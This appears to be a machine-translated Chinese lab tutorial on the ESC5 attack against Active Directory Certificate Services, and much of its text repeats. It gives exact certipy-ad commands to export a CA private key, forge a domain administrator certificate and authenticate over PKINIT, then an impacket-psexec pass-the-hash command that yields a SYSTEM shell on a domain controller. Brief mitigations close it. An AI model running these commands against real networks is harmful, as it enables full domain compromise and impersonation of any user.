8
月
在社区成长 8 月
LEVEL 50
100 XP
ESC5 是一种针对Active Directory 证书服务(ADCS) 的高风险证书攻击。此ADCS 攻击利用对证书颁发机构(CA) 私钥的不安全访问。当攻击者获得CA 服务器的本地管理员访问权限时,他们可以导出私钥。这允许他们伪造任何AD 帐户(包括DomainAdmins)的有效证书。这种证书攻击允许对手通过Kerberos PKINIT 进行身份验证,从而无需密码或哈希即可实现跨网络的横向移动。 ESC5 ADCS 攻击凸显了保护CA 私钥以防止此严重漏洞的重要性。
使用Certipy 进行ESC5 攻击
使用impacket-psexec 进行利用后横向移动权限升级
缓解措施
它隐蔽、功能强大,并通过利用Active Directory 对证书颁发机构(CA) 签名密钥的固有信任来利用对CA 签名密钥的信任。
以下是使ESC5 成为可能的关键要求:
CA 服务器上的本地管理员访问权限→ 攻击者需要CA 服务器上的本地管理员权限才能提取私钥。
未受保护的CA 私钥→ CA 的私钥保护不善,导致攻击者窃取它。
无证书吊销或长有效期→ 如果颁发的证书具有长有效期且无吊销,则攻击者可以保持持久访问。
信任CA 的签名证书→ Active Directory 信任CA 签名的任何证书,使攻击者能够为任何AD 帐户(包括域管理员)伪造有效证书。
导出CA 的证书和私钥→ 使用Certipy-AD 等工具,攻击者将CA 的证书和私钥导出到.pfx 文件中。
为特权用户伪造证书→ 使用私钥,攻击者为特权用户(例如,[email protected])伪造证书,该证书被Active Directory 接受。
使用伪造的证书(PKINIT) 进行身份验证→ 攻击者使用伪造的证书通过Kerberos PKINIT 进行身份验证,冒充目标并获取TGT。
横向移动和域控制→ 使用TGT,攻击者可以提升权限并随后在网络中移动,通常会达到域管理员访问权限。
CA 服务器权限→ 如果可以进行本地管理员访问,攻击者就可以提取CA 的私钥。私钥保护→ CA 密钥保护较弱(或根本没有保护)会导致未经授权的导出和滥用。 AD 信任模型→ AD 本质上信任CA 颁发的证书,即使它们是伪造的。 Kerberos 与PKINIT → 允许使用证书登录,从而实现特权用户的静默模拟。 Note: 这些错误配置使CA 服务器上的本地管理员能够绕过Active Directory 权限,从而允许他们立即模拟域中的任何用户。
域必须配置Active Directory 证书服务和证书颁发机构。
Kali Linux 充满了工具
Tools: Impacket-psexec、certipy-ad
如果您正在阅读本文,我们假设您已经熟悉ADCS 攻击路径和实验室部署。您可能知道如何:
使用Certipy 或Metasploit 等工具枚举证书模板
了解ENROLLEE_SUPPLIES_SUBJECT 和客户端身份验证等模板设置的意义
浏览Active Directory 中CA 和模板的结构和层次结构
这篇文章没有重新审视实验室设置,而是直接深入探讨利用ESC5 攻击路径的高影响力错误配置。与针对模板权限的攻击(ESC4)不同,ESC5 侧重于利用对CA 私钥的不安全访问。
常见的错误配置是将用户不正确地添加到本地管理员组。
使用这些命令检查或添加像“raj”:这样的用户
net localgroup 管理员'igniteraj' /add
网络本地组管理员
验证“raj”是否在管理员组中;它可以授予对CA 服务器的未经授权的访问,从而促进ESC5 攻击。
要备份CA证书和私钥,请运行以下命令:
certipy-ad ca -backup -u [email protected] -p 密码@1 -ca ignite-DC-CA -target 192.168.1.48
此命令将CA 证书和私钥导出到名为ignite-DC-CA.pfx 的文件中。
通过访问CA 的私钥,我们可以伪造任何UPN(例如,[email protected])的证书,从而有效绕过Active Directory 的权限控制。
使用私钥,我们可以运行以下命令来伪造特定用户:的证书
certipy-ad forge -ca-pfx 'ignite-DC-CA.pfx' [email protected]
这将创建一个有效的签名证书(administrator_forged.pfx),使我们能够模拟目标用户(例如域管理员)并获得对资源的未经授权的访问。
AD 支持PKINIT,它支持使用证书进行Kerberos 身份验证。使用伪造的证书,我们可以以[email protected]的身份请求TGT,从而获得对域资源的访问权限。
此命令转储会话中的NTLM 哈希值,使我们能够以目标用户身份进行身份验证。
运行命令
impacket-psexec ignite.local/[email protected] -哈希:32196b56ffe6f45e294117b91a83bf38
我们通过CA 服务器上的本地管理员权限备份CA 的私钥来获得域管理员访问权限。然后,我们为[email protected]伪造一个证书,使用PKINIT进行身份验证,并请求TGT。
使用Impacket,我们成功获得了域控制器上的SYSTEM shell,确认了整个域的入侵。
模板→ 安全性禁用ENROLLEE_SUPPLIES_SUBJECT 不必要的EKU
审计→ 定期使用Certipy ADCSaudit
监控→ 监视证书徽标基于SAN 的身份验证异常
作者:MD Aslam 是一位充满活力的信息安全领导者,致力于推动安全卓越并指导团队加强跨产品、网络和组织的安全。联系方式请点击这里
目录
ESC5 攻击概述ESC5 攻击机制易受攻击的PKI 对象访问控制结构先决条件枚举和利用在CA 服务器上添加/验证本地管理访问使用Certipy 进行ESC5 攻击
使用impacket-psexec 进行利用后横向移动权限升级
缓解措施
ESC5 攻击概述
ESC5 是针对Active Directory 证书服务(ADCS) 的攻击,其中具有CA 服务器本地管理员访问权限的攻击者会提取CA 的私钥。有了它,他们可以为任何用户(包括域管理员)伪造证书。这允许他们通过Kerberos PKINIT 进行身份验证,无需密码或哈希即可获得完整的域访问权限。它隐蔽、功能强大,并通过利用Active Directory 对证书颁发机构(CA) 签名密钥的固有信任来利用对CA 签名密钥的信任。
以下是使ESC5 成为可能的关键要求:
CA 服务器上的本地管理员访问权限→ 攻击者需要CA 服务器上的本地管理员权限才能提取私钥。
未受保护的CA 私钥→ CA 的私钥保护不善,导致攻击者窃取它。
无证书吊销或长有效期→ 如果颁发的证书具有长有效期且无吊销,则攻击者可以保持持久访问。
信任CA 的签名证书→ Active Directory 信任CA 签名的任何证书,使攻击者能够为任何AD 帐户(包括域管理员)伪造有效证书。
ESC5攻击机制
损害CA 服务器上的本地管理访问→ 攻击者通常通过横向移动或错误配置的组来获得证书颁发机构服务器上的本地管理权限。导出CA 的证书和私钥→ 使用Certipy-AD 等工具,攻击者将CA 的证书和私钥导出到.pfx 文件中。
为特权用户伪造证书→ 使用私钥,攻击者为特权用户(例如,[email protected])伪造证书,该证书被Active Directory 接受。
使用伪造的证书(PKINIT) 进行身份验证→ 攻击者使用伪造的证书通过Kerberos PKINIT 进行身份验证,冒充目标并获取TGT。
横向移动和域控制→ 使用TGT,攻击者可以提升权限并随后在网络中移动,通常会达到域管理员访问权限。
存在漏洞的 PKI 对象访问控制结构
ESC5 攻击的成功取决于PKI 设置中的特定弱点:CA 服务器权限→ 如果可以进行本地管理员访问,攻击者就可以提取CA 的私钥。私钥保护→ CA 密钥保护较弱(或根本没有保护)会导致未经授权的导出和滥用。 AD 信任模型→ AD 本质上信任CA 颁发的证书,即使它们是伪造的。 Kerberos 与PKINIT → 允许使用证书登录,从而实现特权用户的静默模拟。 Note: 这些错误配置使CA 服务器上的本地管理员能够绕过Active Directory 权限,从而允许他们立即模拟域中的任何用户。
先决条件
Windows Server 2019 作为支持PKINIT 的Active Directory域必须配置Active Directory 证书服务和证书颁发机构。
Kali Linux 充满了工具
Tools: Impacket-psexec、certipy-ad
如果您正在阅读本文,我们假设您已经熟悉ADCS 攻击路径和实验室部署。您可能知道如何:
使用Certipy 或Metasploit 等工具枚举证书模板
了解ENROLLEE_SUPPLIES_SUBJECT 和客户端身份验证等模板设置的意义
浏览Active Directory 中CA 和模板的结构和层次结构
这篇文章没有重新审视实验室设置,而是直接深入探讨利用ESC5 攻击路径的高影响力错误配置。与针对模板权限的攻击(ESC4)不同,ESC5 侧重于利用对CA 私钥的不安全访问。
枚举利用
添加/验证 CA 服务器上的本地管理员访问权限
要访问CA 的私钥,我们需要CA 服务器上的本地管理员权限。这使我们能够与CA 服务交互、请求备份或检查证书存储。常见的错误配置是将用户不正确地添加到本地管理员组。
使用这些命令检查或添加像“raj”:这样的用户
net localgroup 管理员'igniteraj' /add
网络本地组管理员
验证“raj”是否在管理员组中;它可以授予对CA 服务器的未经授权的访问,从而促进ESC5 攻击。
使用 Certipy 进行 ESC5 攻击
让我们从备份CA 证书和私钥开始。 CA 的私钥对于对颁发的证书进行数字签名至关重要。如果我们获得了访问权限,我们就可以为任何用户或计算机伪造证书,并且Active Directory 将信任它们。要备份CA证书和私钥,请运行以下命令:
certipy-ad ca -backup -u [email protected] -p 密码@1 -ca ignite-DC-CA -target 192.168.1.48
此命令将CA 证书和私钥导出到名为ignite-DC-CA.pfx 的文件中。
通过访问CA 的私钥,我们可以伪造任何UPN(例如,[email protected])的证书,从而有效绕过Active Directory 的权限控制。
使用私钥,我们可以运行以下命令来伪造特定用户:的证书
certipy-ad forge -ca-pfx 'ignite-DC-CA.pfx' [email protected]
这将创建一个有效的签名证书(administrator_forged.pfx),使我们能够模拟目标用户(例如域管理员)并获得对资源的未经授权的访问。
AD 支持PKINIT,它支持使用证书进行Kerberos 身份验证。使用伪造的证书,我们可以以[email protected]的身份请求TGT,从而获得对域资源的访问权限。
运行Auth命令实现:
certipy-ad auth -pfxadministrator_forged.pfx-dc-ip 192.168.1.48
此命令转储会话中的NTLM 哈希值,使我们能够以目标用户身份进行身份验证。
后利用
使用 impacket-psexec 横向移动权限升级
具有域管理员访问权限,使用Impacket 的psexec 通过SMB 在远程计算机上生成SYSTEM shell。运行命令
impacket-psexec ignite.local/[email protected] -哈希:32196b56ffe6f45e294117b91a83bf38
我们通过CA 服务器上的本地管理员权限备份CA 的私钥来获得域管理员访问权限。然后,我们为[email protected]伪造一个证书,使用PKINIT进行身份验证,并请求TGT。
使用Impacket,我们成功获得了域控制器上的SYSTEM shell,确认了整个域的入侵。
缓解措施
CA Access → 从CA 服务器中删除不必要的本地管理员模板→ 安全性禁用ENROLLEE_SUPPLIES_SUBJECT 不必要的EKU
审计→ 定期使用Certipy ADCSaudit
监控→ 监视证书徽标基于SAN 的身份验证异常
作者:MD Aslam 是一位充满活力的信息安全领导者,致力于推动安全卓越并指导团队加强跨产品、网络和组织的安全。联系方式请点击这里